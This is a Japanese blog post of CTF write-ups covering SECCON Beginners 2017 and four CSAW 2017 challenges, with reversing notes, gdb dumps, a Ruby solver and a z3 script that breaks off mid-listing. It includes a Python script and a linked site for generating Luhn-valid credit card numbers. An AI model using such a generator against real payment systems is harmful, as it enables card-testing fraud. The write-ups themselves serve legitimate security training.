yyy

CTFつよくなりたい

SECCON Beginners 2017 仙台 に参加した感想&Writeup(decodeme)

はじめに

誘おうとした友人はフィリピンに連れていかれるらしく,ぼっち参戦してきました.参加理由としては,ずっと行ってみたかったっていうのと,Webわからんっていうのと,SECCONステッカーが欲しかったって感じです.

以下,感想とCTF中に解けなかったバイナリ300のdecodemeのWriteupです.decodemeを帰りの電車の中でやってたら10分でフラグが出てきて,なんでこれ解けなかったんだってなりました.どうも時間が限られてるとプレッシャー的なものが働いて,脳死状態になるっぽくてダメっぽいです.

参加しての感想など

まずはオリエンテーション,そしてWebとForensicsとReversingの講義,その後にれっくすさんの話を聞いて,あとはみんなでワイワイCTFをしてました.

参加人数は60人ほどだったのですが,1位から5位まではステッカーが貰えるということで頑張りました.

CTFではReversingとかを普段やっていることもあって,1位を取ることができました.

スコアボードは見ないように解いていたのですが,運営の方々の声とかで自分が結構上位にいるなとわかりました,そして気づいたら1位になっててビビりました.

f:id:ywkw1717:20170924001220p:plain

自分はバイナリから解いていたのですが,バイナリを解く人が少ないので自分がバイナリをある程度解き終わった後は,ForensicsとWebの問題でそれぞれ解いた人数などが一目瞭然で,どれが簡単そうで難しそうかなどもわかって進めやすかったので,バイナリから解くバイナリアン戦法はオススメです.

decodeme(Writeup)

誰も解いてなかった問題です.

確かCTF中は,xorとかいろんな事やっていて解くのに時間かかりそうだなぁと思ったのですぐにForensicsに切り替えて,その後Webっていう順番で進めてました.

結果,本番中には解けなかったのですが,帰りの電車で見てみたところ,ただxorしてるだけやんけってなって解くことができました.

作問側への配慮で,少しぼかしたことを書きます.

問題としては入力値をある文字数受け取ってからその文字数分のループに入り,各文字とカウンタ変数とのxorを取って,それが"N1v\\F`anfgoy"と等しければctf4b{%s}の中に入れてその文字列を出力するようになっています.

よって,"N1v\\F`anfgoy"という文字列に対してある文字数分ループしてカウンタ変数とのxorを取ってやれば元に戻ります.

自分はPythonで数行のスクリプトを書いて求めました.

flagを一部隠しますが,以下のようなflagになるはずです.

ctf4b{N0t_XXXXXXXr}

まとめ

どの講義も初心者にわかりやすく,とても良質な講義だったと思います.

3つの講義以外にもとても良いことを仰っていて,佳山さんとれっくすさんの話が印象に残っています.

佳山さんの倫理の話では,我々が技術を悪用しないのは法律に関係なく,自分たちの仕事に誇りを持っているからみたいなことを,れっくすさんの話では,CTFは最近難化しているが,知的好奇心が強い人は必ず強くなれる,みたいなことを仰っていました.

あとは,Reversingの講義において,少ない講義時間でなにを教えようとしているか,どのようなことを覚えてもらいたいかなどをReversingの講義を担当したちひろさんに聞くことができました.

Reversingは他の2つと違って,覚えるべきことが多いと思うので,少ない講義時間で教えるのは大変だなぁと思いました.

そしてCTFですが,1時間弱というとても少ない時間でやるCTFは初めてだったので,いい経験になりました.

もっといろいろな人にBeginnersに参加して貰いたいなと思ったので,どんどん他の人にも勧めようと思います.

運営の方々,ありがとうございました!

おまけ

戦利品です.(((懇親会のコーラも頂きました)))

f:id:ywkw1717:20170924001832j:plain

CSAW CTF Qualification Round 2017 Writeup

開催期間(JST)

09/16 AM5:00 ~ 09/18 AM5:00

結果

・チーム名:wabisabi

・得点:851 pt

・順位:得点したチーム中,231/1444

解いた問題

・CVV (Misc100)

・tablEZ (Reversing100)

・Best Router (Forensics200)

・realism (Reversing400)

取り組んだが解けなかった問題

・pilot (Pwn75)

・Missed Registration (Forensics150)

・Gopherz (Reversing350)

はじめに

今回はEKOPARTYのほうと被っていて,一応両方登録はしたんですが,結局CSAWだけやってました.

土曜日は@kobadlveと@phustlyと集まって少しやっていて,日曜は家に引きこもってやってました.

去年のCSAWは576ptで252/1274だったので,一応去年より高い順位は取れたっぽい.

Writeup

CVV (Misc100)

ncで繋ぐと,こんな感じでいろいろな種類のクレジットカード番号を求められます.

$ nc misc.chal.csaw.io 8308
I need a new American Express!
^C

$ nc misc.chal.csaw.io 8308
I need a new Visa!

クレジットカードのパターンは,'MasterCard','Discover','American','Visa'の4つ.

確か「面白くて眠れなくなる数学」とかいう本を以前読んだ時に,クレジットカード番号はとあるアルゴリズムによって決まっているってことを知って,つまりランダムに数字を入力すればいいというわけではなくて,そのアルゴリズムに沿った数字を入力する必要がありそうだなぁとか思いました.

各クレジットカードについてもカード番号の桁数が違っていたり,それぞれカード番号にルールが決まっていたりするので,そこら辺を気を付けながらスクリプトを書きます.

使われているアルゴリズムの名前はLuhnアルゴリズムというものらしく,どうせ実装してる人いるやろって思ったらWikipediaに載ってたり,いろいろな書き方で実装している人がいたので,それをお借りしました.

Luhnアルゴリズム(やってみた Python2.7) · GitHub

雑にスクリプトを書いて回してみたら,Visaのカード番号を毎回失敗するVisaが苦手なスクリプトが生まれてしまって,どうしようかなと思った結果,以下の任意のクレジットカード番号を生成する神サイトを見つけたので,適当に100個くらい生成して,それを使うようにしました.

www.getcreditcardnumbers.com

あとは,何回か正解すると途中から出題が変わって,ある数字で始まるもの,終わるもの,与えられた番号がvalidかinvalidか返すもの,とかにそれぞれスクリプトを雑に対応させました.

与えられた番号がvalidかinvalidか返すやつは,Luhnアルゴリズム自体が全ての間違いを検出できるわけではないっぽくて,2回目で成功しました.

以下,書いたスクリプト.(めっちゃ汚いけど,解ければいいやろと思ってる)

Luhnアルゴリズムでvalidが返るまでランダムに数字を生成して,それを送るってことをやってる.1度使ったものは使えないっぽいけど,これだけ大きければほぼ被ることはないだろうということで,その対策はしてない.

#!/usr/bin/env python
# coding: utf-8
import socket
import random
import itertools

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('misc.chal.csaw.io', 8308))

card_list = ['MasterCard', 'Discover', 'American', 'Visa']

#  https://gist.github.com/oyakata/5955744 より
def check_digits(text):
    """itertools.cycleを使って実装。"""
    def even_value(x):
        y = x * 2
        return y - 9 if y > 9 else y
    values = (int(x) for x in reversed(text))
    switcher = itertools.cycle((lambda x: x, even_value))
    digits = (func(x) for func, x in itertools.izip(switcher, values))
    return sum(digits) % 10 == 0


def main():
    count = 0
    f = open('visa.txt', 'r')
    visa = f.read().split('\n')
    f.close()

    while(True):
        data = s.recv(256)
        print data

        all_data  = data.split(' ')

        card = all_data[4].replace('!','').rstrip()

        if card == 'card':
            card = all_data[8].replace('!', '').rstrip()

        print card

        if card == 'MasterCard':
            while True:
                num = '5' + str(random.randint(100000000000000, 999999999999999))
                print num
                if check_digits(num):
                    break

        elif card == 'Discover':
            while True:
                num = '60110' + str(random.randint(10000000000, 99999999999))
                print num
                if check_digits(num):
                    break

        elif card == 'American':
            while True:
                num = '34' + str(random.randint(1000000000000, 9999999999999))
                print num
                if check_digits(num):
                    break

        elif card == 'Visa':
            print visa[count]
            num = visa[count]

        elif card == 'if':
            card_num = all_data[5]
            if check_digits(card_num):
                num = '1'
            else:
                num = '0'

        else:
            info = all_data[6]

            if len(card) == 4 and info == "starts":
                while True:
                    num = card + str(random.randint(100000000000, 999999999909))
                    print num
                    if check_digits(num):
                        break
            elif len(card) == 1 and info == "ends":
                while True:
                    num = str(random.randint(100000000000000, 999999999999999)) + card
                    print num
                    if check_digits(num):
                        break
            elif len(card) == 4 and info == "ends":
                while True:
                    num = str(random.randint(100000000000, 999999999909)) + card
                    print num
                    if check_digits(num):
                        break

        s.sendall(num + '\n')
        count = count + 1


if __name__ == '__main__':
    main()
$ python solve.py
.
.
.

if
True
Thanks!
I need to know if 7358400188115005 is valid! (0 = No, 1 = Yes)

if
True
Thanks!
I need to know if 8664780687553453 is valid! (0 = No, 1 = Yes)

if
False
Thanks!
I need to know if 1514774928101638 is valid! (0 = No, 1 = Yes)

if
False
Thanks!
I need to know if 9017155594857850 is valid! (0 = No, 1 = Yes)

if
True
Thanks!
I need to know if 3591469017167338 is valid! (0 = No, 1 = Yes)

if
False
Thanks!
flag{ch3ck-exp3rian-dat3-b3for3-us3}

tablEZ (Reversing100)

一番最初に解いたやつ.

問題文

Bobby was talking about tables a bunch, so I made some table stuff. I think this is what he was talking about...
$ ./true
Please enter the flag:
hoge
WRONG

crackme系のやつ.

確か,入力値を元にテーブルからindexを求めて,それを使って再度テーブルから値を取り出す,ってことをやっていた気がします.

以下,解いていた時のメモ.

gdb-peda$ x/80 0x555555755281
0x555555755281 <trans_tbl+1>: 0x056c04c4039b02bb  0x09450822072e064a
0x555555755291 <trans_tbl+17>:    0x0d060cd50bb80a33  0x117910fa0fbc0e0a
0x5555557552a1 <trans_tbl+33>:    0x15bf14b213e11224  0x1960188617ad162c
0x5555557552b1 <trans_tbl+49>:    0x1d591cd81bb61aa4  0x217720941f411e87
0x5555557552c1 <trans_tbl+65>:    0x256124cb234f22f0  0x292a289727c02625
0x5555557552d1 <trans_tbl+81>:    0x2d9f2cc92b082a5c  0x31f930cf2f4e2e43
0x5555557552e1 <trans_tbl+97>:    0x35e73465336f323e  0x39ef38b7373936c5
0x5555557552f1 <trans_tbl+113>:   0x3daa3c2f3bc83ad0  0x4181403c3f473ec7
0x555555755301 <trans_tbl+129>:   0x45a644d343494232  0x49404858472b4696
0x555555755311 <trans_tbl+145>:   0x4d1a4cee4b9c4af1  0x518050d64fc64e5b
0x555555755321 <trans_tbl+161>:   0x553d549a536d522d  0x59e05884579356a7
0x555555755331 <trans_tbl+177>:   0x5d095cb95b3b5a12  0x614860995fba5e69
0x555555755341 <trans_tbl+193>:   0x6582647c63b16273  0x69fb689d672766be
0x555555755351 <trans_tbl+209>:   0x6db36cf46b7e6a67  0x711b705f6fc26e05
0x555555755361 <trans_tbl+225>:   0x7511747173237254  0x796878a577d27630
0x555555755371 <trans_tbl+241>:   0x7d7a7cf57b3f7a9e  0x8185800c7f0b7ece
0x555555755381 <trans_tbl+257>:   0x858e845e836382de  0x89da886a87fe86bd
0x555555755391 <trans_tbl+273>:   0x8dac8ce88b888a26  0x91f690a88f628e03
0x5555557553a1 <trans_tbl+289>:   0x95c3946b937592f7  0x998f98e697519646
0x5555557553b1 <trans_tbl+305>:   0x9d919c5a9b769a28  0xa152a0449f1f9eec
0x5555557553c1 <trans_tbl+321>:   0xa53aa48ba3fca201  0xa910a816a7a3a6a1
0x5555557553d1 <trans_tbl+337>:   0xad95accaab50aa14  0xb10eb035af4bae92
0x5555557553e1 <trans_tbl+353>:   0xb55db41db320b2b5  0xb90fb86eb7e2b6c1
0x5555557553f1 <trans_tbl+369>:   0xbdd9bcd4bb90baed  0xc157c098bfddbe42
0x555555755401 <trans_tbl+385>:   0xc556c478c319c237  0xc904c8d1c774c6af
0x555555755411 <trans_tbl+401>:   0xcd4ccce5cb55ca29  0xd1dbd089cff2cea0
0x555555755421 <trans_tbl+417>:   0xd5ead483d338d2e4  0xd98cd8dcd707d617
0x555555755431 <trans_tbl+433>:   0xdde9dc7bdbb4da8a  0xe10de015dfebdeff
0x555555755441 <trans_tbl+449>:   0xe534e4f3e3a2e202  0xe913e8f8e718e6cc
0x555555755451 <trans_tbl+465>:   0xed21ecaeeb7fea8d  0xf170f04defcdeee3
0x555555755461 <trans_tbl+481>:   0xf572f4abf3fdf253  0xf9a9f866f71cf664
0x555555755471 <trans_tbl+497>:   0xfddffcd7fb1efab0  0xe0000031ff7dfe36


0x5555555549c1 <main+289>:    cmp    QWORD PTR [rbp-0xc8],0x25
FLAGは0x25文字(37文字)


This is the flag.
gdb-peda$ x/30 0x7fffffffcac0
0x7fffffffcac0: 0xb1e711 f59d73b327  0x30f4f9f9b399beb3
0x7fffffffcad0: 0xb19965237399711b  0xf9279923be111165
0x7fffffffcae0: 0x000000 ce65059923

逆の処理を書くより,入力値を与えてテーブル作って,そこからflagを求めたほうが早そうなので,その方法でやりました.

最近バイトでRubyばっかりなのでRubyで書いてみた.

string = "d0efb739c5e7656f3ef999cef53b12e08493a73d9a6d2d80d6c65b1aee9cf140582b96a6d349323f9e68a5d230117123541b5fc205b3f47e67fb9d27be827cb173"
char = (('a'..'z').to_a.join + ('A'..'Z').to_a.join + '{}_' + ('0'..'9').to_a.join)

list1 = string.scan(/.{1,2}/).reverse
list2 = char.scan(/.{1,1}/)
table = {}

list1.zip(list2).each do |val1, val2|
  table.store(val1, val2)
end

flag_str  = "ce65059923f9279923be111165b19965237399711b30f4f9f9b399beb3b1e711f59d73b327"
flag_list = flag_str.scan(/.{1,2}/).reverse
flag = ""

flag_list.each do |val|
  flag = flag + table[val].to_s
end

puts flag
$ ruby solve.rb
flag{t4ble_l00kups_ar3_b3tter_f0r_m3}

Best Router (Forensics200)

問題文

http://forensics.chal.csaw.io:3287

NOTE: This will expand to ~16GB!

解いているチームが多かったのでできそうだなぁとは思ってたのですが,16GBも容量がなかったので,土曜家に帰ってきてからDesktopのほうで解いたやつ.

与えられたbest_router.tar.gzを解凍すると,14.5GBのイメージファイルが出てきます.

FTK Imagerで解けそうなので,開いてみる.

f:id:ywkw1717:20170918145543p:plain

いろいろありそうだけど,問題文を思い出してみる.

ログインフォームのURLが与えられているので,これにログインできるとflagが出そう.

f:id:ywkw1717:20170918150745p:plain

/var/wwwが怪しそうなので見てみるとビンゴ.

f:id:ywkw1717:20170918150209p:plain

flag.txtは空でここからは見れないので,やっぱり与えられたURLにログインする必要がありそう.

f:id:ywkw1717:20170918150326p:plain

username:admin

psassword:iforgotaboutthemathtest

でログインするとflagが貰える.

f:id:ywkw1717:20170918150838p:plain

realism (Reversing400)

高得点の解きたいなぁと思って,rev問見てたら数十人が解いていたのでやってみた.

問題文

Did you know that x86 is really old? I found a really old Master Boot Record that I thought was quite interesting! At least, I think it's really old...

qemu-system-i386 -drive format=raw,file=main.bin

QEMU初めて使った.

与えられたmain.binはブートセクタ.

与えれらたコマンド通りにmain.binを起動してみると,以下のような画面が出てきて,またこれもcrackme系の問題.

f:id:ywkw1717:20170918151711p:plain

適当に入力すると,WRONG FLAG.

f:id:ywkw1717:20170918152515p:plain

ブートセクタは512バイトで読むべきコード自体は少ないのですが,どう解析したらいいかわからなくて困った.

ググってたらndisasmでできるよ,みたいなのを見つけて逆アセンブルしたらそれっぽく出てきたけど,やっぱり動的解析しないと厳しそう.

めっちゃ調べていろいろやってみたら,以下のようにして解析できた.

gdbオプション付きでQEMUを起動.

$ qemu-system-i386 -drive format=raw,file=main.bin -S -gdb tcp::1234

別terminalにてgdbを起動して,set architecturetarget remoteでそれぞれ指定.

ブートセクタは0x7C00にロードされるらしいので,そこにブレークポイントをしかける.

$ gdb
gdb-peda$ set architecture i8086
gdb-peda$ target remote localhost:1234
gdb-peda$ b *0x7c00

pedaのプロンプトは出ているのに使えなかったので,ノーマルなgdbでノーマルなコマンドで解析する.

最初の4文字が"flag"かどうかチェックしている部分.入力値の長さのチェックはこれの前にある.

0x7c6f:  cmp    DWORD PTR ds:0x1234,0x67616c66
0x7c78:    jne    0x7d4d

その後,入力値チェックがある.あとはここを読んで求解処理を書くだけ.

0x7c7c:  movaps xmm0,XMMWORD PTR ds:0x1238
0x7c81:    movaps xmm5,XMMWORD PTR ds:0x7c00
0x7c86:    pshufd xmm0,xmm0,0x1e
0x7c8b:    mov    si,0x8
0x7c8e:    movaps xmm2,xmm0
0x7c91:    andps  xmm2,XMMWORD PTR [si+0x7d90]
0x7c96:    psadbw xmm5,xmm2
0x7c9a:    movaps XMMWORD PTR ds:0x1268,xmm5
0x7c9f:    mov    di,WORD PTR ds:0x1268
0x7ca3:    shl    edi,0x10
0x7ca7:    mov    di,WORD PTR ds:0x1270
0x7cab:    mov    dx,si
0x7cad:    dec    dx
0x7cae:    add    dx,dx
0x7cb0:    add    dx,dx
0x7cb2:    cmp    edi,DWORD PTR [edx+0x7da8]
0x7cba:    jne    0x7d4d
0x7cbe:    dec    si
0x7cbf:    test   si,si # If si is 0, finish.
0x7cc1:    jne    0x7c8e

8回ループして入力値チェックしている.間違っていたら即Wrong.

最初にxmm0レジスタに読み込んだ入力値をpshufd命令でシャッフルしている.

0x7c86: pshufd xmm0,xmm0,0x1e

このpshufd命令までが初期化っぽい.

その後,andps命令でシャッフルされた入力値をマスクする.(16バイトの内,ある2バイトを0にする.この0にする位置は徐々にずれていく)

0x7c91: andps  xmm2,XMMWORD PTR [si+0x7d90]

そして,マスクした入力値とxmm5レジスタを使ってpsadbw命令で差の絶対値を取ったり足したりする.(このxmm5レジスタの値は初期値だけ決まっていて,あとはpsadbwで求まった値を次の計算でも使う)

0x7c96: psadbw xmm5,xmm2

psadbw命令は以下がわかりやすい.

http://www.officedaytime.com/tips/simdimg/si.php?f=psadbw

その後,求まった値を使って8バイトの数値を作って,それが特定の値と等しいかどうかチェックしている.

1回目と2回目で各命令を実行したときのレジスタの値とかを逐一調べてメモしてた.

2回目の値も調べるために,バイナリ本体にパッチを当てちゃうと便利.

この部分を

0x7cba: jne    0x7d4d

以下のように書き換えて,オペコードをjeにする.

f:id:ywkw1717:20170918162540j:plain

解いていた時のメモ.

Initialize
=======================================================================================
=> 0x7c6f:   cmp    DWORD PTR ds:0x1234,0x67616c66
   0x7c78:  jne    0x7d4d
   0x7c7c:  movaps xmm0,XMMWORD PTR ds:0x1238

gdb-peda$ p $xmm0
$2 = {
  v4_float = {12.0784864, 12.0784311, 12.0784311, 1.60549888e+37}, 
  v2_double = {2261634.5098039485, 2.2040338477057924e+295}, 
  v16_int8 = {0x7b, 0x41 <repeats 14 times>, 0x7d}, 
  v8_int16 = {0x417b, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x7d41}, 
  v4_int32 = {0x4141417b, 0x41414141, 0x41414141, 0x7d414141}, 
  v2_int64 = {0x414141414141417b, 0x7d41414141414141}, 
  uint128 = 0x7d41414141414141414141414141417b
}

   0x7c81:  movaps xmm5,XMMWORD PTR ds:0x7c00

gdb-peda$ p $xmm5
$3 = {
  v4_float = {-134298496, -2.50091934, -1.48039995e-36, 1.93815862e-18}, 
  v2_double = {-8.0294250547975565, 1.241726856953559e-144}, 
  v16_int8 = {0xb8, 0x13, 0x0, 0xcd, 0x10, 0xf, 0x20, 0xc0, 0x83, 0xe0, 0xfb, 0x83, 0xc8, 0x2, 0xf, 0x22}, 
  v8_int16 = {0x13b8, 0xcd00, 0xf10, 0xc020, 0xe083, 0x83fb, 0x2c8, 0x220f}, 
  v4_int32 = {0xcd0013b8, 0xc0200f10, 0x83fbe083, 0x220f02c8}, 
  v2_int64 = {0xc0200f10cd0013b8, 0x220f02c883fbe083}, 
  uint128 = 0x220f02c883fbe083c0200f10cd0013b8
}

   0x7c86:  pshufd xmm0,xmm0,0x1e

gdb-peda$ p $xmm0
$4 = {
  v4_float = {12.0784311, 1.60549888e+37, 12.0784311, 12.0784864}, 
  v2_double = {2.2040338477057924e+295, 2261750.5098039214}, 
  v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, 
  v8_int16 = {0x4141, 0x4141, 0x4141, 0x7d41, 0x4141, 0x4141, 0x417b, 0x4141}, 
  v4_int32 = {0x41414141, 0x7d414141, 0x41414141, 0x4141417b}, 
  v2_int64 = {0x7d41414141414141, 0x4141417b41414141}, 
  uint128 = 0x4141417b414141417d41414141414141
}

   0x7c8b:  mov    si,0x8
=======================================================================================


Loop
=======================================================================================
   0x7c8e:  movaps xmm2,xmm0

gdb-peda$ p $xmm2
$6 = {
  v4_float = {12.0784311, 1.60549888e+37, 12.0784311, 12.0784864}, 
  v2_double = {2.2040338477057924e+295, 2261750.5098039214}, 
  v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, 
  v8_int16 = {0x4141, 0x4141, 0x4141, 0x7d41, 0x4141, 0x4141, 0x417b, 0x4141}, 
  v4_int32 = {0x41414141, 0x7d414141, 0x41414141, 0x4141417b}, 
  v2_int64 = {0x7d41414141414141, 0x4141417b41414141}, 
  uint128 = 0x4141417b414141417d41414141414141
}

   0x7c91:  andps  xmm2,XMMWORD PTR [si+0x7d90] # first, si is 0x8. second, si is 0x7.

0 の位置が徐々にずれていく.

First: gdb-peda$ x/30wx $si+0x7d90
0x7d98: 0xffffff00  0xffffffff  0xffffff00  0xffffffff
0x7da8: 0x02110270  0x02290255  0x025e0291  0x01f90233
0x7db8: 0x027b0278  0x02090221  0x0290025d  0x02df028f
0x7dc8: 0x00000014  0x00000000  0x00000000  0x00000000
0x7dd8: 0x00000000  0x00000000  0x00000000  0x00000000
0x7de8: 0x00000000  0x00000000  0x00000000  0x00000000
0x7df8: 0x00000000  0xaa550000  0x00000000  0x00000000
0x7e08: 0x00000000  0x00000000

Second: gdb-peda$ x/20wx $si+0x7d90
0x7d97: 0xffff00ff  0xffffffff  0xffff00ff  0xffffffff
0x7da7: 0x110270ff  0x29025502  0x5e029102  0xf9023302
0x7db7: 0x7b027801  0x09022102  0x90025d02  0xdf028f02
0x7dc7: 0x00001402  0x00000000  0x00000000  0x00000000
0x7dd7: 0x00000000  0x00000000  0x00000000  0x00000000


First: gdb-peda$ p $xmm2
$7 = {
  v4_float = {12.0783691, 1.60549888e+37, 12.0783691, 12.0784864}, 
  v2_double = {2.2040338477057629e+295, 2261750.5098038912}, 
  v16_int8 = {0x0, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x0, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, 
  v8_int16 = {0x4100, 0x4141, 0x4141, 0x7d41, 0x4100, 0x4141, 0x417b, 0x4141}, 
  v4_int32 = {0x41414100, 0x7d414141, 0x41414100, 0x4141417b}, 
  v2_int64 = {0x7d41414141414100, 0x4141417b41414100}, 
  uint128 = 0x4141417b414141007d41414141414100
}

Second: gdb-peda$ p $xmm2
$6 = {
  v4_float = {12.062562, 1.60549888e+37, 12.062562, 12.0784864}, 
  v2_double = {2.2040338476982412e+295, 2261750.5097961728}, 
  v16_int8 = {0x41, 0x0, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x0, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, 
  v8_int16 = {0x41, 0x4141, 0x4141, 0x7d41, 0x41, 0x4141, 0x417b, 0x4141}, 
  v4_int32 = {0x41410041, 0x7d414141, 0x41410041, 0x4141417b}, 
  v2_int64 = {0x7d41414141410041, 0x4141417b41410041}, 
  uint128 = 0x4141417b414100417d41414141410041
}

   0x7c96:  psadbw xmm5,xmm2

First: gdb-peda$ p $xmm5
$9 = {
  v4_float = {8.88423226e-43, 0, 1.06919073e-42, 0}, 
  v2_double = {3.1323761946335031e-321, 3.7697208777687111e-321}, 
  v16_int8 = {0x7a, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xfb, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  v8_int16 = {0x27a, 0x0, 0x0, 0x0, 0x2fb, 0x0, 0x0, 0x0}, 
  v4_int32 = {0x27a, 0x0, 0x2fb, 0x0}, 
  v2_int64 = {0x27a, 0x2fb}, 
  uint128 = 0x00000000000002fb000000000000027a
}
====================
>>> hex(0x22 - 0x41)
'-0x1f'
>>> hex(0x0f - 0x41)
'-0x32'
>>> hex(0x02 - 0x41)
'-0x3f'
>>> hex(0xc8 - 0x7b)
'0x4d'
>>> hex(0x83 - 0x41)
'0x42'
>>> hex(0xfb - 0x41)
'0xba'
>>> hex(0xe0 - 0x41)
'0x9f'
>>> hex(0x83 - 0x00)
'0x83'
>>> hex(0x1f + 0x32 + 0x3f + 0x4d + 0x42 + 0xba + 0x9f + 0x83)
'0x2fb'
====================

Second: gdb-peda$ p $xmm5
$7 = {
  v4_float = {7.13260918e-43, 0, 8.91225823e-43, 0}, 
  v2_double = {2.5147941373319449e-321, 3.142257507550328e-321}, 
  v16_int8 = {0xfd, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  v8_int16 = {0x1fd, 0x0, 0x0, 0x0, 0x27c, 0x0, 0x0, 0x0}, 
  v4_int32 = {0x1fd, 0x0, 0x27c, 0x0}, 
  v2_int64 = {0x1fd, 0x27c}, 
  uint128 = 0x000000000000027c00000000000001fd
}

   0x7c9a:  movaps XMMWORD PTR ds:0x1268,xmm5
   0x7c9f:  mov    di,WORD PTR ds:0x1268

First: gdb-peda$ p $edi
$10 = 0x27a

Second: gdb-peda$ p $di
$9 = 0x1fd

   0x7ca3:  shl    edi,0x10

First: gdb-peda$ p $edi
$11 = 0x27a0000

Second: gdb-peda$ p $edi
$11 = 0x1fd0000

   0x7ca7:  mov    di,WORD PTR ds:0x1270

First: gdb-peda$ p $edi
$12 = 0x27a02fb

gdb-peda$ p $si
$13 = 0x8

Second: gdb-peda$ p $edi
$12 = 0x1fd027c

gdb-peda$ p $si
$13 = 0x7

   0x7cab:  mov    dx,si
   0x7cad:  dec    dx

gdb-peda$ p $dx
$14 = 0x7

------------------------------ # 単純にdxの値を4倍している
   0x7cae:  add    dx,dx

First: gdb-peda$ p $dx # 7 + 7
$15 = 0xe

Second: gdb-peda$ p $dx # 6 + 6
$15 = 0xc

   0x7cb0:  add    dx,dx

First: gdb-peda$ p $dx
$16 = 0x1c

Second: gdb-peda$ p $dx
$16 = 0x18
------------------------------

   0x7cb2:  cmp    edi,DWORD PTR [edx+0x7da8]

First: gdb-peda$ x/10 $edx+0x7da8
0x7dc4: 0x02df028f  0x00000014  0x00000000  0x00000000
0x7dd4: 0x00000000  0x00000000  0x00000000  0x00000000
0x7de4: 0x00000000  0x00000000

Second: gdb-peda$ x/10 $edx+0x7da8
0x7dc0: 0x0290025d  0x02df028f  0x00000014  0x00000000
0x7dd0: 0x00000000  0x00000000  0x00000000  0x00000000
0x7de0: 0x00000000  0x00000000

   0x7cba:  jne    0x7d4d # If input is not correct, return.

   0x7cbe:  dec    si

gdb-peda$ p $si
$2 = 0x7

   0x7cbf:  test   si,si # If si is 0, finish.
   0x7cc1:  jne    0x7c8e
=======================================================================================


This is the flag!!!!!!!!!!!!!!!!!!!!!
Just do it!!!!!!!!!!

0x02df028f
0x0290025d
0x02090221
0x027b0278
0x01f90233
0x025e0291
0x02290255
0x02110270

psadbwのところが不可逆っぽいので,逆算する処理ではなくz3を使ってこの処理を満たすような入力値を求める.

z3の使い方がわからず,BitVecsで値を生成してそれにabs()使おうとしたらできなくて,他にもいろいろ苦戦して,ようやくスクリプトが書けました.

(かなり汚いです)

#!/usr/bin/env python
from z3 import *

# 0x20 <= si <= 7e
#
# [flag]
# 0x02df028f
# 0x0290025d
# 0x02090221
# 0x027b0278
# 0x01f90233
# 0x025e0291
# 0x02290255
# 0x02110270
#
# {s0s1s2s3s4s5s6s7s8s9s10s11s12s13}
#
# s7s8s9s10s11s12s13}s3s4s5s6{s0s1s2
#                  s15      s14
# 0x** ** ** 7b ** ** ** ** ** 7d ** ** ** ** ** ** ** (little endian)

def get_abs(x):
    return If(x >= 0,x,-x)

def main():
    solver = Solver()

    s = [Int('s_%d' % i) for i in range(14)]

    for i in range(len(s)):
        solver.add(s[i] != 0)
        solver.add(0x20 <= s[i], s[i] <= 0x7e)

    s14 = 0x7b
    s15 = 0x7d

    t0  = 0x22
    t1  = 0x0f
    t2  = 0x02
    t3  = 0xc8
    t4  = 0x83
    t5  = 0xfb
    t6  = 0xe0
    t7  = 0x83
    t8  = 0xc0
    t9  = 0x20
    t10 = 0x0f
    t11 = 0x10
    t12 = 0xcd
    t13 = 0x00
    t14 = 0x13
    t15 = 0xb8

    psadbw1 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - 0x00)
    psadbw2 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - 0x00)

    solver.add(psadbw1 == 0x28f)
    solver.add(psadbw2 == 0x2df)

    t0  = 0x0
    t1  = 0x0
    t2  = 0x0
    t3  = 0x0
    t4  = 0x0
    t5  = 0x0

    t6  = 0x02
    t7  = 0x8f

    t8  = 0x0
    t9  = 0x0
    t10 = 0x0
    t11 = 0x0
    t12 = 0x0
    t13 = 0x0

    t14 = 0x02
    t15 = 0xdf

    psadbw3 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - 0x00) + get_abs(t7 - s[3])
    psadbw4 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - 0x00) + get_abs(t15 - s[7])

    solver.add(psadbw3 == 0x25d)
    solver.add(psadbw4 == 0x290)

    t7  = 0x5d
    t15 = 0x90

    psadbw6 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - 0x00) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw7 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - 0x00) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw6 == 0x221)
    solver.add(psadbw7 == 0x209)

    t7  = 0x21
    t15 = 0x09

